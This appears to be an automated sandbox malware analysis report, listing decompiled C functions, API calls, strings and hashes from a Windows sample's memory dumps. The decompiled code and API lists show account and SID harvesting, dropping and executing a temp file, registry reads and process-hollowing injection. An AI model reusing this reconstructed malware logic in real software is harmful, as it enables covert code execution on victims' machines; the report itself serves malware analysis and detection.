Opcode ID: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction ID: a1eee8ccd1dda06736348509bedb2f0b5e145fac1e126e2219517bb09c37bb2c
Opcode Fuzzy Hash: 8c67a5bde2c17ed3aff6f0ea1f646f2c63f3a3fdf38cb08711d1dfe4718764d5
Instruction Fuzzy Hash: 46618072940208AFDB209FB4DC45FEA7BE9FF49304F248066F96CD2161DAB59980CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

|, xrefs: 00406FB3
/%d, xrefs: 00407030

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 00542F71, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 85memorylibrarystringCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?), ref: 00542F8A
LoadLibraryA.KERNEL32(?), ref: 00542F9A
GetProcAddress.KERNEL32(00000000,004103F0), ref: 00542FB1
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00542FE9
RtlAllocateHeap.NTDLL(00000000), ref: 00542FF0
lstrcpyn.KERNEL32(00000008,?,000000FF), ref: 0054301B

Strings

dnsapi.dll, xrefs: 00542F79

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Heap$AddressAllocateHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: dnsapi.dll
API String ID: 1242400761-3175542204
Opcode ID: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction ID: 5c208f049036acc9baa4b2a599a1ee1b6efd50b380a47731a7d3d3a0223821bd
Opcode Fuzzy Hash: 7f5d185b3cfc49c95be658a26291c7e098e834ef0b89546cb75d65dd2dad2050
Instruction Fuzzy Hash: 1821AF7194022ABBCB22DB54DC49AEEBFBCFF58B58F508521F805E7110D7B09A8587D4

Uniqueness

Uniqueness Score: -1.00%

Function 00546F19, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00410380,00410670,00000000,\\.\pipe\jhmdawhx,0054702C), ref: 00546F37
GetProcAddress.KERNEL32(00000000), ref: 00546F3E
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00546F64
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00546F7B

Strings

\\.\pipe\jhmdawhx, xrefs: 00546F20
C:\Windows\SysWOW64\, xrefs: 00546F19, 00546F21, 00546F4E, 00546F55, 00546F63, 00546F6E, 00546F7A, 00546F92, 00546FAF, 00546FD5
PromptOnSecureDesktop, xrefs: 00546F86, 00546FA8, 00546FB8, 00546FCE, 00546FDE

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$PromptOnSecureDesktop$\\.\pipe\jhmdawhx
API String ID: 1082366364-2421664954
Opcode ID: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction ID: f2653dff51df416c1f9e5c6d8b1f8401e559a02dcf043f04e156ae037732211f
Opcode Fuzzy Hash: 04a770052eb57bbfbb30415af63bc188d31a19c33639d4dbddcadc0e825ea320
Instruction Fuzzy Hash: E22126317413447AF7225335AC8DFFB2E4CAB93718F0840A5F544E6091CBD9C89A82AE

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 005492B4, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83filestringCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000400,?), ref: 005492CB
wsprintfA.USER32 ref: 00549339
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0054935E
lstrlen.KERNEL32(?,?,00000000), ref: 00549372
WriteFile.KERNEL32(00000000,?,00000000), ref: 0054937D
CloseHandle.KERNEL32(00000000), ref: 00549384

Strings

PromptOnSecureDesktop, xrefs: 00549314, 0054932C, 00549347

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction ID: 902433d5ee0ecbcc86b607cb1a11a844145a8094d689aa4c35f8f3d72a12a338
Opcode Fuzzy Hash: 15e5744a609ce20ae0f07ead06a63c4ecb295d114b6c11b49a51968f57c888d1
Instruction Fuzzy Hash: 1611B7B2A401257BE7246725DC0EFEF3E6DEBC5704F008075B709E5095EEB44E518668

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 005499CC, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 82threadinjectionprocessCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00549A01
GetThreadContext.KERNEL32(?,?), ref: 00549A3B
TerminateProcess.KERNEL32(?,00000000), ref: 00549A49
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 00549A81
SetThreadContext.KERNEL32(?,00010002), ref: 00549A9E
ResumeThread.KERNEL32(?), ref: 00549AAB

Strings

D, xrefs: 005499F9

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D
API String ID: 2981417381-2746444292
Opcode ID: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction ID: 51072f261f1df1ca2313aaa90c8bbf66c9493bbecbe4832a9eebbdb9009606f8
Opcode Fuzzy Hash: e2726c898831fa2e77ccd26efcb7f3ad26579022b5c1c2510a23e725eb230ef9
Instruction Fuzzy Hash: 08213BB1901119BBDB11DBA1DC4AEEF7FBCFF05754F404461BA19E2050EB758A44CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00541BEC, Relevance: 12.1, APIs: 8, Instructions: 106memorylibraryCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(004102D8), ref: 00541C01
LoadLibraryA.KERNEL32(004102C8), ref: 00541C0F
GetProcessHeap.KERNEL32 ref: 00541C6D
RtlAllocateHeap.NTDLL(00000000,00000000,00000288), ref: 00541C86
RtlReAllocateHeap.NTDLL(?,00000000,00000000,?), ref: 00541CAA
HeapFree.KERNEL32(?,00000000,00000000), ref: 00541CEB
FreeLibrary.KERNEL32(?), ref: 00541CF4

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFreeLibrary$LoadProcessinet_addr
String ID:
API String ID: 2324436984-0
Opcode ID: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction ID: d0ab4dba75344f69fa0b37a9c13c4f1d1c2e20a1b9127aaf70b5e156809df4f3
Opcode Fuzzy Hash: 86649b882a12f673409f1c62972542be89ea1fb211e92df17ca9b312c060c3f6
Instruction Fuzzy Hash: BB313972E40219AFCB119FE4DD888EEBFB9FB45319B64447AE501A2110D7B58EC0DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00546CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 00546CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 00546D0B
GetLastError.KERNEL32 ref: 00546D90
CloseHandle.KERNEL32(?), ref: 00546D9E
GetLastError.KERNEL32 ref: 00546DBF
DeleteFileA.KERNEL32(?), ref: 00546DD0
GetLastError.KERNEL32 ref: 00546DE6

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: b9434af1639a25ec9b43eb572c12806877d99bb3b6d6d806f6e0a42f776c9f61
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: 4631F072E00249BFCF11AFA49D45BDE7F78FF8A314F148066E251E3251D7704A848B66

Uniqueness

Uniqueness Score: -1.00%

Function 00549395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 005493AF
GetModuleFileNameA.KERNEL32(00000000), ref: 005493B6
CharToOemA.USER32(?,?), ref: 005493C4
wsprintfA.USER32 ref: 005493F9

Part of subcall function 005492B4: GetTempPathA.KERNEL32(00000400,?), ref: 005492CB
Part of subcall function 005492B4: wsprintfA.USER32 ref: 00549339
Part of subcall function 005492B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0054935E
Part of subcall function 005492B4: lstrlen.KERNEL32(?,?,00000000), ref: 00549372
Part of subcall function 005492B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 0054937D
Part of subcall function 005492B4: CloseHandle.KERNEL32(00000000), ref: 00549384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00549431

Strings

PromptOnSecureDesktop, xrefs: 005493E3, 005493E8, 00549405

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: 1cb40be663aa2305237312c6991885c0800bc7e15d5962ddd598bb4d7549db82
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: E10169B69001187BDB20A7619D8EEDF3B7CEB85705F0000A2BB49E2080EAB496C58F65

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

